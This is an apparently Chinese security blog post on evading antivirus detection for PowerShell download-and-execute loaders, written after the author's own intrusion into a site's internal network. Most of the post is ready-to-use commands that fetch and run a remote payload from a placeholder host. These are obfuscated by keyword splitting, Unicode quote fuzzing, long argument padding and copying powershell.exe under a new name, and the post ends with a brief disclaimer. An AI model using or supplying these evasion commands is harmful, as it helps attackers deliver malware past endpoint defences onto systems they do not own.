Powershell免殺

w發表於2021-05-02

Powershell免殺


0x01 前言

前幾天搞一個站的時候,進入內網,想讓內網一臺機子powershell上線。然後被殺軟攔截了,極其的不講武德,想著找我極強的朋友們白嫖個免殺的方法。

後面還是沒有白嫖到,只好自己去研究學習一下了(針對CS的進行免殺,後面思想大同小異)於是做了這個小筆記。

0x02 Powershell免殺思路

先介紹一下powershell木馬最常用的方式,一般都為遠端下載然後執行的方法,特點就是:直接記憶體執行,無檔案落地。
例如:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))"

通常使用過程中當呼叫powershell進行遠端下載執行時,會被殺軟進行攔截。那麼針對Powershell的免殺有兩個思路:

  1. 對ps1檔案進行免殺處理
  2. 對Powershell的行為進行免殺處理

0x03 免殺方法

1. 使用關鍵字拆分進行bypass


在實戰過程中,一些殺軟是會對powershell命令當中的引數、函式進行一個檢測,那麼此時就可以對關鍵字進行拆分來進行繞過。
例如,拆分前的powershell命令為:

powershell.exe "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))”

假如殺軟是對http這個關鍵字進行檢測,那麼我們可以對其進行如下拆分進行繞過,拆分後的powershell命令為:

powershell "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://x.x.x.x/a''));Invoke-Mimikatz';IEX ($a+$b)”

假如是對downloadstring這個函式進行檢測,那麼我們可以使用replace來進行替換函式拆分downloadstring進行一個繞過,拆分後的powershell命令如下:

powershell "$a='IEX(New-Object Net.WebClient).Downlo';$b='123(''http://x.x.x.x'')'.Replace('123','adString');IEX ($a+$b)"

2. Fuzz思想進行bypass


可以利用Fuzz的思想進行bypass,例如可以使用中文字元裡的單引號進行bypass
例如,利用單引號混淆前的powershell命令為:

powershell.exe "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a’))”

使用單引號混淆後的命令為:

powershell.exe "IEX ((new-object net.webclient).downloadstring('ht‘+’tp://x.x.x.x/a’))”

3. 超長命令bypass


可以使用超長的命令來進行bypass。
例如,利用超長命令bypas前的powershell命令為:

powershell.exe "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a’))”

進行超長命令構造後的powershell命令為:

powershell.exe -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal w Normal -w Normal -w Normal -w Normal -w Normal -w Normal IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))

4. 使用copy命令進行bypass


這裡講一個騷操作,一些殺軟是檢測powershell這個使用的動作,那麼我們可以使用windows的copy命令,將powshell進行拷貝命名為其他的,例如,使用copy命令將powershell拷貝一個並命名為bypass.txt
命令:

copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe bypass.txt

那麼後面就可以這樣子來執行powershell來進行繞過殺軟檢測:

bypass.txt IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))

5. 混合bypass


就是將前面講述的幾種方法進行混合使用。
例如:

powershell.exe -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal set-alias -name key -value IEX; key(New-Object Net.WebClient).DownloadString('ht‘+’tp://x.x.x.x/a')

0x04 結尾

當然除了上述的幾種方式可以進行bypass以外,還有其他的方法,例如可以將 powershell命令打包成exe程式進行繞過,可以使用C、Python、go等,其中查殺率:C > Python > go

當然了,年輕人是要講武德的。
切勿利用上述方法去幹不講武德的事情,不然到時候啪的一下,很快啊,一不小心就進去了。

0x05 免責宣告

嚴禁讀者利用以上介紹知識點對網站進行非法操作 , 本文僅用於技術交流和學習 , 如果您利用文章中介紹的知識對他人造成損失 , 後果由您自行承擔 , 如果您不能同意該約定 , 請您務必不要閱讀該文章 , 感謝您的配合 !

相關文章